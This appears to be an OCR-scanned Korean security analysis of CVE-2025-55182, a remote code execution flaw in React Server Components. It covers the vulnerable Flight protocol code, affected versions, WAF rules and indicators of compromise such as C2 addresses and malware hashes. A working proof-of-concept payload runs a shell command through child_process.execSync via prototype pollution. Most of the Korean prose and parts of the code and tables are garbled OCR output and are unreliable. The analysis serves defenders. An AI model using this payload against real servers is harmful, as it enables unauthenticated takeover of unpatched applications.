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act 2 React Sever Component0i| QISE|X| o2

2l Re
22| FE A YOl YT S SIUCH

@)\ng.z Q Search ctrl | K Learn Reference Community Blog (Q ')TA O

BLOG »

Critical Security Vulnerability in React Server
Components

December 3, 2025 by The React Team

There is an unauthenticated remote code execution vulnerability in React Server Components.

We recommend upgrading immediately.

[Z12 1] React Team Official Blog Announcement

React Server Components= MetaOf|Al =37t RX| & Z2jsf 2 7|22,
S © MA =2 7|”2| 5HTE 7h O] YALO|ELL MZE0| MEX(0] QUL

OHY| &A= FAM(CVE-2025-55182)2 “React2Shell’2 HHZ|ALCT
HOt ALK} Lachlan DavidsonO| 118 292 MetaOl| M=ot O,
QU IHX| HHIELt SPH ME A0 SIHEIRACY.

O] HUME AT HI0IM 108 20l 108 (Critical)S 7IS3UC

O)=2 AtO|H EOt 2l o1 2} HOEY(CISA)2
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2.1 FAH ML

2 1 1 _|_|orx-|
CVE Al QIEE(CVSSv3.1)
ReactA{H 14 QA ¥ [ C A3l X 10.0/10.0

CVE-2025-55182

5. CVE-2025-55182= RSC 240 M=
RUFSICION IS Sae: ST §(Insecure Deserialization)” £

LS _|—|

S YA ASEX p2 A a
S50 228 HO|2EE TE510] ABHLH,

Oro o174 LAXII} |5t React Server Function AIEXQIEZ
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T2 ?E ALLPAGTIO) T=H,

FoE 371 A= O] X M0 Trefet HO|2 =2 o4 A=/t EALE UL,
Eo5| &= T AO|H AIH0| OF R =88 5X9 54 18°| €s0| FEAR
- MINOCAT

MINOCAT UNC6600 122 0| FoIRS ot235101 MINOCAT E{Z2iZ SESHLY,
SAXE Bash 2ATYES U6t £ CIMER| 44, 71Z ntpclient Z2AIA 52
MINOCAT HIO|H2| CI22 =2 Aaigirt

0|5 cron &Y 52, systemd AlH|A MA € AN I HEXE =3

X|&X01 AMlal(Persistence)S SHEZIC
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2.2 71X gle|
2.2.1 React Server Components (RSC)

RSCE ZEHES BN (2240|¢E)7} ot
O|E EéH HIO[E] A=| 2t E“HE'—'O A1H101|*1

fEOJ’é, FAESISE AT

o

Next.js@t &2 Z4 D230 7|22 2 ST

2.2.2 Flight Protocol
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Flight Protocol2 RSC StZ0| A Au{Q} S210|Q1E 7te] ZHTHE E2| 2l MEf HEE Watks| 95t
React & I'ng M4 T2 EZO0|CE
MNHE= 0B ‘A3 (Chunk) ©QZ Z=354510 M451D,
S20|HE= 0|2 ZE5H0] UIE HILE S,

EZ3 o|oj My

$ JSON ZA] et JavaScript Z{XZ H5 (0f: BIY, key-value )

s@ o mg mx | o 93 IDS BEL O si4E o] ofdd

HAl Chunk 24X XMAE 78 =
$8B Blob X2| & | HI0|L{2|/Blob £ E4 2| M2| Al AFRE
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2.2.3 Prototype Pollution 7H3

Prototype Pollution(Z 2 EEIQ] 2&H)2
SAXP} __proto__, constructor, prototype &2 E4 &80 FZ6HN
7|2 Z4|(Object.prototype)E ZZtst= JavaScript F2FXO0|Ct

0I5 %EH OHZ2IAHI01M LSl 2= ZA|0 TS O|X|= 24

o
= =
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2.3 34 T MM 2

2.3.1 FA%HE g

React= QA= 717t A0 K= MHEN U=X| ASSHK| =Lt
0|2 QI5H A HHSt Prototype Pollution 2|Z 0|2 5H 7—.” il T2 EEFQ0| B2 o UCH,
EX Ho|2=EE MAoHH MHO|A Function MMXIZE FERIHSIE| = 2X|7F LA4SHTT

files = {

"@": (None, '["$1:__proto__:constructor:censtructor”]’),
II1II: (None’ {II n 1}'.),

[Function: Function]
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2.3.2 CVE-2025-55182 PoC Code

FOFEI2 012313 ZZXH= Function MAKHS B3t & Qirt
012 o4Z517| Ao BZA} 0| 7H53 XIA(E4 RE)S QIKE 0| Function %4XHS SE51T,
WAT S48 ZA| MYOIES REots 55 JHH(Call Gadget)S 3010} BTk

oiiE PoClE 39) ZENME FUHE E2|AHE @loll getChunk &~ ARZSICH.
- LT
923 1385 if (value[@] === '$°) {
0 ReactFlightClientConfigBun... [%] 924 136 switch (value[1]) {
. . 925 1307 case '$': {
D ReactFlightClientConfigBun.. o 926 1308 // This was an escaped string value.
v [ server 927 1389 return value.slice(l);
928 131e }
(Y ReactFlightDOMServerNod... [*] PR Ayl case @ |
o . react-server/src 930 1312 // Promise
931 1313 const id = parselnt(value.slice(2), 16);
D ReactFlightReplyServer.js =] 932 1314 const chunk = getChunk({response, id);
933 1315 return chunk;
934 1316 }
935 1317 case 'F': {

[O2 3] GitHub XAt facebook/react
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crafted _chunk = {
"then™: "$1: proto_ :then”,
"status"™: "resolved model",
"reason": -1,
"value": "{"then": "$BO"}",
" response™: {

" prefix": f"process.mainModule.require('child_process').execSync('calc');",

" formData": {
"get": "$1:constructor:constructor”,
Fre
1
b
files = {
@": (None, json.dumps{crafted chunk)),
1": (None, '"$@e"'),
b
[ 4] PoC payload ZE
1. PoC ZE7t SAHESIE= YA chunk[1]0] Z&HE “$@0" 20| ZX|ELC

2. GitHub MZ&AQ| ZE SE0| M2t getChunk(response, 0)0] S==ICY.

3.0l ID7} 02! M3 = shM=(resolved) 40| OFH
0t M3 ZHX|(Raw Chunk) AtA|7} BHet=ICt

ZAMAO 2 chunk[1]2 Raw Chunk(0)& ZfZXolA =Lt
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PoC2| “then” “$1:proto:then” L2 $1:protoithens HESt-E Y0 QI
047|A $10] Raw ChunkE 7127|122,
__proto__Z E3lf Chunk.prototypedi] Z2& 4 A =11

ZZEXO 2 then2 Chunk.prototype.then2 &X517 EICt,

f/ We subclass Promise.prototype so that we get other methods like .catch
Chunk.prototype = (Object.create(Promise.prototype): any);
f/ TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(

this: SomeChunk<T>,

resolve: (value: T) =» mixed,

reject: (reason: mixed) =»> mixed,
) {

const chunk: SomeChunk<T> = this;

ff If we have resolved content, we try to initialize it first which

S might put us back into one of the other states.

switch {chunk.status) {

case RESOLVED_MODEL:
initializeModelChunk{chunk);

break;

[13 5] ReactFlightReplyServer.js/Chunk()

CH2O 2 “status™ “resolved_model” 0] 2|aH
chunk.status’t RESOLVED MODEL AE{7t =X,
0l0f| 2t initializeModelChunk(chunk) gt47t S&=ICt
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let initializingChunk: ResolvedModelChunk<any> = (null: any);
let initializingChunkBlockedModel: null | {deps: number, value: any} = null;
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T:): woid {

const prevChunk = initializimgChunk;

const prevBlocked = initializingChunkBlockedModel;

initializingChunk = chunk;

initializingChunkBlockedModel = null;

const roctReference

chunk.reason === -1 ? undefined : chunk.reason.toString(le);

const resolvedModel = chunk.value;

/f We go to the CYCLIC state until we'we fully resolved this.

/¢ We do this before parsing in case we try to initialize the same chunk
/i while parsing the model. Such as in a cyclic reference.

const cyclicChunk: CyclicChunk<T> = (chunk: any);

cyclicChunk.status = CYCLIC;

cyclicChunk.value = null;

cyclicChunk.reason = null;

try {
const rawModel = JS0M.parse{resolvedModel);

const value: T = reviveModel(
chunk._response,
{"'"": rawModel},

we
E

ramModel,

rootReference,

)

-

[22 6] ReactFlightReplyServer.js/initializeModelChunk()

S “value™ {“then™ “$B0"} AHOZ chunk.value 0] MEIZH,
E SE4 reviveModel &42| IXI2I rawModel =2 FEEICY.
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function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue,

reference: void | string,

(o)

: any {
if (typeof value === "string"} {

| return parseModelstring(response, parentObj, parentKey, walue, reference); |

H
if (typeof wvalue === 'object"' && value !== null) {

[2& 7] ReactFlightReplyServer.js/reviveModel()

12|11 parseModelString &t%=7t key = “then”, value = “$B0” 2422 SEEIC

case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// We should have this backingEntry in the store already because we emitted
/f it before referencing it. It should be & Blob.
const backingEntry: Blob = (response. formData.get(blobkKey): any);

return backingEntry;

[ 8 ReactFlightReplyServer.js/parseModelString()
1. PoC ZE9| _response Z{X|= parseModelString LIE2] $B XM2| 27|0|A X& R =0t

2. “$B0"E id = 02 2 s{fM %M, prefix = response._prefixtl=
PoCOiM A8t 34 &
(“process.mainModule.require(‘child_process’).execSync(‘calc’);”)0| CHRIEICY.

3. response._formData.get(blobKey); £&£0A
_formData.getO| $1:constructor:constructor2 @& MM ez
HAMOI FormData X357t Ot Function(blobKey) 44Xt SE2 X|2HEICE

4. 21X O 2 Function(blobKey)Zt A4 8}
PoC W{9] ot EXtE(H 0|2 E)0] F=
S4 SE0|M O] g7t AlsliE [ &2

20| =20

JA rro
E rr

_—Ti HAH(RCE)O| LAMSITY.
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3.3
3.1 +3 AE J0IE

MO ZZHE CJdE2|2 0|53t | node_modules ZHE &HQISICY,
@ dX|= 7 [X|E &Rlotl, Oreff &=0] U=A| HESICL.

- react—sever-dom-webpack

- react-sever—-dom-parcel

- react-sever—-dom-turbopack

- next
3.2 Jgt = HIE & offd ot
YTl T e B H SIX AX|E HAS THARGHOF STt Fe He HES AHE 21 82, Of2l 512
gotof mhat A 24 HHOZE HH|0|ES AS HAIBHTE
M= et HH oA HH
19.0 19.0.1
ream;j:;;i;dom_ 19.1.0 ~ 19.1.1 19.1.2
19.2.0 19.2.1
19.0 19.0.1
react—server—-dom—parcel 19.1.0 ~ 19.11 19.1.2
19.2.0 19.2.1
19.0 19.0.1
reaczsrzgggsom_ 19.1.0 ~ 19.1.1 19.1.2
19.2.0 19.21
14.3.0—canary.77 O|A Z A Y MO 2 CRO2|0[= HT (14.)
15.0.x 15.0.5
15.1.x 15.1.9
Nextjs 15.2.x 15.2.6
15.3.x 15.3.6
15.4.x 15.4.8
15.5.x 156.5.7
16.0.x 16.0.7
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3.3 WAF o1& %

Google 0| F 1 HAE 34 A=E EHX[SH AIHSI=E A E
Cloud Armor ¢! 0fZ2|A|0|-M E5HH(WAF) 7212 Hi ZEHCt
CVE % 7[EL #|%4H e

CH2 HO|Al= CVE-2025-551822 ZHA|3tD 2t8}st= o] ©20| &/ =2 React RCE Z|2F& %0 A X2 E|= 2F He| A H D,
|:||:rl-5 AX MO 1|_._o}|_||:}

TE, 2o

olz
MZ ID(7% ID) L1
=T
google-mrs-v202512-1deeees1-rce 0 CVE-2025-55182& & XI5t £t25t= ol =20| =/= React RCE #|
(o] 2.5
google-mrs-v202512-1d00es82-rce 0 CVE-2025-55182& & XI5t £t25t= ol =20| =/= React RCE #|

=] >.5
=0

CI2 A2 AMRSI0 CVE-2025-5518225 ZHA|6HD 243}5HM .
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Google ?& QAEHAMUN LHSHOC YE= LS 20,

29acd94e3a3f6673bd6ddaecb30f4273

el x| = Type M
. . . SNOWLIGHT C2
windowserrorapis[.Jcom Domain .
and Staging Server
82.163.22[.]139 IP Address SNOWLIGHT C2 Server
216.158.232[]43 IP Address Staging server for sex.sh script
COMPOOD C2
4576.155(.]14 IP Add .
g ess and Payload Staging Server
df3f20a961d29eed46636783b71589c¢1
SHA256 HISONIC sample
83675510737¢984a11f78932b177b540
92064e210b23cf5b94585d3722bf5337 SHA256 HISONIC |
3d54fb4114dca25¢34e010d0c010edf3 sample
Obc65ab5a84d1b2e2a320d2b0111864al
SHA256 ANGRYREBEL.LINUX sample
4f9074d6d28ff9120cb24fcc03c3f696
13675ccad674a8f9a8fabedf9df4aelae .
96f11986dd1dcc6a89691267d527274 SHA256 XMRIG Downloader Script
(filename: sex.sh)
7f05bad031d22c2bb4352bf0b6bIes2c SNOWLIGHT sample (filename:
SHA256 .
a064a4c0e11a317e6fedc694de37737a linux_amd64)
776850a1e6d6915e9bf352a835546161
SHA256 MINOCAT sample
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2 Xz M =2 GRS ATAC| 5i2S BX| i1, FHAX, =AL 2= HHs| L
2HY O|Z 02 Al0fl= TIHAL O] £oHHH 20l X{oHE =~ USLICE
2 Nes YdIE 2A2 Qo X ANEE 8 H[0{0f 5HH,
AHTE HE 52 B2 AEE[0AM= HELICE
@ AR 0|28t &0 et MAUS X[X| A5LIL.
Copyright(c) 2025 &) A2EAL All rights reserved.
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